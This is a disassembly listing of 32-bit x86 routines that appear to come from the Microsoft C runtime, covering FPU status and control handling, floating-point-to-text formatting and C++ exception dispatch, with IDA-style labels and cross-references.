; int __cdecl sub_421570(double, int)

sub_421570	proc near		; CODE XREF: sub_4211C4+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	ds:dbl_427858
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421590
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_421626
; ---------------------------------------------------------------------------


loc_421590:				; CODE XREF: sub_421570+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_4215FF
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_4215A8
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_4215FF


loc_4215A8:				; CODE XREF: sub_421570+31j
		fld	[ebp+arg_0]
		fcomp	ds:dbl_427858
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_4215C0
		push	1
		pop	eax
		jmp	short loc_4215C2
; ---------------------------------------------------------------------------


loc_4215C0:				; CODE XREF: sub_421570+49j
		xor	eax, eax


loc_4215C2:				; CODE XREF: sub_421570+4Ej
					; sub_421570+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_4215DB
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_4215D5
		or	dword ptr [ebp+arg_0+4], 1


loc_4215D5:				; CODE XREF: sub_421570+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_4215C2
; ---------------------------------------------------------------------------


loc_4215DB:				; CODE XREF: sub_421570+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_4215E9
		or	byte ptr [ebp+arg_0+7],	80h


loc_4215E9:				; CODE XREF: sub_421570+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4214ED
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_421626
; ---------------------------------------------------------------------------


loc_4215FF:				; CODE XREF: sub_421570+28j
					; sub_421570+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_4214ED
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_421626:				; CODE XREF: sub_421570+1Bj
					; sub_421570+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421570	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421631	proc near		; CODE XREF: sub_420F11+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_421631	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42163F	proc near		; CODE XREF: sub_420F11+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42163F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42164E	proc near		; CODE XREF: sub_41CD19+13p
					; sub_41CD19+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_42164E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421671	proc near		; CODE XREF: sub_4211C4+1Dp
					; sub_4211C4+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421688
		fld	ds:tbyte_442AF0
		fistp	[ebp+arg_0]
		wait


loc_421688:				; CODE XREF: sub_421671+Bj
		test	cl, 8
		jz	short loc_42169D
		fstsw	ax
		fld	ds:tbyte_442AF0
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42169D:				; CODE XREF: sub_421671+1Aj
		test	cl, 10h
		jz	short loc_4216AC
		fld	ds:tbyte_442AFC
		fstp	[ebp+var_8]
		wait


loc_4216AC:				; CODE XREF: sub_421671+2Fj
		test	cl, 4
		jz	short loc_4216BA
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4216BA:				; CODE XREF: sub_421671+3Ej
		test	cl, 20h
		jz	short locret_4216C5
		fldpi
		fstp	[ebp+var_8]
		wait

locret_4216C5:				; CODE XREF: sub_421671+4Cj
		leave
		retn
sub_421671	endp


; =============== S U B	R O U T	I N E =======================================



sub_4216C7	proc near		; CODE XREF: sub_41CDE8+Fp
		push	30000h
		push	10000h
		call	sub_423EB5
		pop	ecx
		pop	ecx
		retn
sub_4216C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216D9	proc near		; CODE XREF: sub_421717:loc_42173Bj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_427868
		fstp	[ebp+var_8]
		fld	ds:dbl_427860
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_421713
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_421713:				; CODE XREF: sub_4216D9+33j
		xor	eax, eax
		leave
		retn
sub_4216D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421717	proc near		; CODE XREF: sub_41CDE8+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 0B00000h
		cmp	eax, 1574C085h
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_4270BC
		test	eax, eax
		jz	short loc_42173B
		push	0
		call	eax ; sub_41CDE8
		retn
; ---------------------------------------------------------------------------


loc_42173B:				; CODE XREF: sub_421717+1Dj
		jmp	sub_4216D9
sub_421717	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421740	proc near		; DATA XREF: sub_41CE00+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DE1C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_421780


loc_421754:				; CODE XREF: sub_421740+3Ej
		inc	esi
		cmp	ds:dword_44276C, 1
		jle	short loc_42176D
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F37A
		pop	ecx
		pop	ecx
		jmp	short loc_42177C
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: sub_421740+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, ds:off_442560
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42177C:				; CODE XREF: sub_421740+2Bj
		test	eax, eax
		jnz	short loc_421754


loc_421780:				; CODE XREF: sub_421740+12j
		mov	cl, ds:byte_442770
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_42178B:				; CODE XREF: sub_421740+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_42178B
		pop	esi
		retn
sub_421740	endp

; ---------------------------------------------------------------------------


loc_42179A:				; DATA XREF: sub_41CE00+5o
		mov	eax, [esp+4]
		mov	dl, ds:byte_442770
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4217B6


loc_4217AA:				; CODE XREF: seg000:004217B4j
		cmp	cl, dl
		jz	short loc_4217B6
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4217AA


loc_4217B6:				; CODE XREF: seg000:004217A8j
					; seg000:004217ACj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_4217E7


loc_4217BD:				; CODE XREF: seg000:004217CEj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4217D0
		cmp	cl, 65h
		jz	short loc_4217D0
		cmp	cl, 45h
		jz	short loc_4217D0
		inc	eax
		jmp	short loc_4217BD
; ---------------------------------------------------------------------------


loc_4217D0:				; CODE XREF: seg000:004217C1j
					; seg000:004217C6j ...
		mov	ecx, eax


loc_4217D2:				; CODE XREF: seg000:004217D6j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_4217D2
		cmp	[eax], dl
		jnz	short loc_4217DD
		dec	eax


loc_4217DD:				; CODE XREF: seg000:004217DAj
					; seg000:004217E5j
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_4217DD

locret_4217E7:				; CODE XREF: seg000:004217BBj
		retn
; ---------------------------------------------------------------------------


loc_4217E8:				; DATA XREF: sub_41CE00+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_427858
		fnstsw	ax
		sahf
		jb	short loc_4217FD
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4217FD:				; CODE XREF: seg000:004217F7j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421800	proc near		; DATA XREF: sub_41CE00+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_421829
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424378
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421829:				; CODE XREF: sub_421800+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4243A5
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_421800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42183E	proc near		; CODE XREF: sub_421ABB+17p
					; sub_421B05+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:byte_4E158C,	0
		push	ebx
		push	esi
		jz	short loc_421873
		mov	ebx, [ebp+arg_8]
		mov	eax, ds:dword_4E1588
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421B56
		pop	ecx
		pop	ecx
		jmp	short loc_4218AB
; ---------------------------------------------------------------------------


loc_421873:				; CODE XREF: sub_42183E+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424449
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4243D2
		add	esp, 14h


loc_4218AB:				; CODE XREF: sub_42183E+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4218B7
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4218B7:				; CODE XREF: sub_42183E+73j
		test	ebx, ebx
		jle	short loc_4218CF
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, ds:byte_442770
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_4218CF:				; CODE XREF: sub_42183E+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	ds:byte_4E158C,	cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C550
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_4218F6
		mov	byte ptr [ecx],	45h


loc_4218F6:				; CODE XREF: sub_42183E+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_42193B
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_42190A
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_42190A:				; CODE XREF: sub_42183E+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421921
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421921:				; CODE XREF: sub_42183E+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421938
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421938:				; CODE XREF: sub_42183E+E7j
		add	[ecx+1], bl


loc_42193B:				; CODE XREF: sub_42183E+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42183E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421942	proc near		; CODE XREF: sub_421AE2+13p
					; sub_421B05+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	ds:byte_4E158C,	0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_42197D
		mov	eax, ds:dword_4E1590
		mov	ebx, [esp+10h+arg_8]
		mov	esi, ds:dword_4E1588
		cmp	eax, ebx
		jnz	short loc_4219AD
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4219AD
; ---------------------------------------------------------------------------


loc_42197D:				; CODE XREF: sub_421942+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424449
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4243D2
		add	esp, 14h


loc_4219AD:				; CODE XREF: sub_421942+22j
					; sub_421942+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4219BB
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4219BB:				; CODE XREF: sub_421942+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_4219D2
		push	1
		push	edi
		call	sub_421B56
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_4219D4
; ---------------------------------------------------------------------------


loc_4219D2:				; CODE XREF: sub_421942+7Ej
		add	edi, eax


loc_4219D4:				; CODE XREF: sub_421942+8Ej
		test	ebx, ebx
		jle	short loc_421A19
		push	1
		push	edi
		call	sub_421B56
		mov	al, ds:byte_442770
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421A19
		cmp	ds:byte_4E158C,	0
		jz	short loc_4219FE
		neg	esi
		jmp	short loc_421A04
; ---------------------------------------------------------------------------


loc_4219FE:				; CODE XREF: sub_421942+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_421A06


loc_421A04:				; CODE XREF: sub_421942+BAj
		mov	ebx, esi


loc_421A06:				; CODE XREF: sub_421942+C0j
		push	ebx
		push	edi
		call	sub_421B56
		push	ebx
		push	30h
		push	edi
		call	sub_41BC40
		add	esp, 14h


loc_421A19:				; CODE XREF: sub_421942+94j
					; sub_421942+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A20	proc near		; CODE XREF: sub_421B05+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424449
		mov	ds:dword_4E1588, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	ds:dword_4E1590, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4243D2
		mov	eax, ds:dword_4E1588
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_4E1590, ecx
		setl	cl
		mov	ds:byte_4E1594,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_4E1590, eax
		jl	short loc_421AA6
		cmp	eax, ebx
		jge	short loc_421AA6
		test	cl, cl
		jz	short loc_421A97


loc_421A8D:				; CODE XREF: sub_421A20+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421A8D
		and	[esi-2], al


loc_421A97:				; CODE XREF: sub_421A20+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421AE2
		add	esp, 0Ch
		jmp	short loc_421AB6
; ---------------------------------------------------------------------------


loc_421AA6:				; CODE XREF: sub_421A20+63j
					; sub_421A20+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421ABB
		add	esp, 10h


loc_421AB6:				; CODE XREF: sub_421A20+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421A20	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ABB	proc near		; CODE XREF: sub_421A20+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_4E158C,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_42183E
		and	ds:byte_4E158C,	0
		add	esp, 10h
		retn
sub_421ABB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421AE2	proc near		; CODE XREF: sub_421A20+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_4E158C,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421942
		and	ds:byte_4E158C,	0
		add	esp, 0Ch
		retn
sub_421AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B05	proc near		; DATA XREF: sub_41CE00o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421B40
		cmp	[ebp+arg_8], 45h
		jz	short loc_421B40
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421B2D
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421942
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421B2D:				; CODE XREF: sub_421B05+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421A20
		jmp	short loc_421B51
; ---------------------------------------------------------------------------


loc_421B40:				; CODE XREF: sub_421B05+7j
					; sub_421B05+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42183E


loc_421B51:				; CODE XREF: sub_421B05+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421B05	endp


; =============== S U B	R O U T	I N E =======================================



sub_421B56	proc near		; CODE XREF: sub_42183E+2Cp
					; sub_421942+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421B79
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B890
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D330
		add	esp, 10h
		pop	esi


loc_421B79:				; CODE XREF: sub_421B56+7j
		pop	edi
		retn
sub_421B56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B7B	proc near		; CODE XREF: seg000:0041CFE0p
					; sub_41D049+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421B91
		call	sub_422422


loc_421B91:				; CODE XREF: sub_421B7B+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421BB9
		cmp	dword ptr [esi+4], 0
		jz	short loc_421C0F
		cmp	[ebp+arg_14], 0
		jnz	short loc_421C0F
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_421EC2
		add	esp, 10h
		jmp	short loc_421C0F
; ---------------------------------------------------------------------------


loc_421BB9:				; CODE XREF: sub_421B7B+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421C0F
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421BF3
		cmp	[eax+14h], edi
		jbe	short loc_421BF3
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421BF3
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421C12
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_421B7B+4Aj
					; sub_421B7B+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421C16
		add	esp, 20h


loc_421C0F:				; CODE XREF: sub_421B7B+23j
					; sub_421B7B+29j ...
		push	1
		pop	eax


loc_421C12:				; CODE XREF: sub_421B7B+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C16	proc near		; CODE XREF: sub_421B7B+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421C36
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421C3B


loc_421C36:				; CODE XREF: sub_421C16+16j
		call	sub_422422


loc_421C3B:				; CODE XREF: sub_421C16+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421CAF
		cmp	[esi+14h], edi
		jnz	short loc_421CAF
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421CAF
		mov	esi, ds:dword_4E1598
		test	esi, esi
		jz	loc_421D8D
		mov	eax, ds:dword_4E159C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4245D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421C91
		call	sub_422422


loc_421C91:				; CODE XREF: sub_421C16+74j
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421CAF
		cmp	[esi+14h], edi
		jnz	short loc_421CAF
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421CAF
		call	sub_422422


loc_421CAF:				; CODE XREF: sub_421C16+41j
					; sub_421C16+46j ...
		cmp	[esi], ebx
		jnz	loc_421D92
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421D92
		cmp	[esi+14h], edi
		jnz	loc_421D92
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D197
		add	esp, 14h
		mov	ebx, eax


loc_421CE6:				; CODE XREF: sub_421C16+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421D7D
		cmp	[ebx], edi
		jg	short loc_421D72
		cmp	edi, [ebx+4]
		jg	short loc_421D72
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421D6F


loc_421D0B:				; CODE XREF: sub_421C16+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421D3C


loc_421D1D:				; CODE XREF: sub_421C16+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_421E65
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421D4B
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421D1D


loc_421D3C:				; CODE XREF: sub_421C16+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421D0B
		jmp	short loc_421D6F
; ---------------------------------------------------------------------------


loc_421D4B:				; CODE XREF: sub_421C16+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F76
		add	esp, 2Ch


loc_421D6F:				; CODE XREF: sub_421C16+F3j
					; sub_421C16+133j
		mov	edi, [ebp+var_10]


loc_421D72:				; CODE XREF: sub_421C16+DEj
					; sub_421C16+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421CE6
; ---------------------------------------------------------------------------


loc_421D7D:				; CODE XREF: sub_421C16+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421D8D
		push	1
		push	esi
		call	sub_4222EB
		pop	ecx
		pop	ecx


loc_421D8D:				; CODE XREF: sub_421C16+56j
					; sub_421C16+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421D92:				; CODE XREF: sub_421C16+37j
					; sub_421C16+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DB8
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421DBD
		add	esp, 20h
		jmp	short loc_421D8D
; ---------------------------------------------------------------------------


loc_421DB8:				; CODE XREF: sub_421C16+180j
		jmp	sub_4223CC
sub_421C16	endp


; =============== S U B	R O U T	I N E =======================================

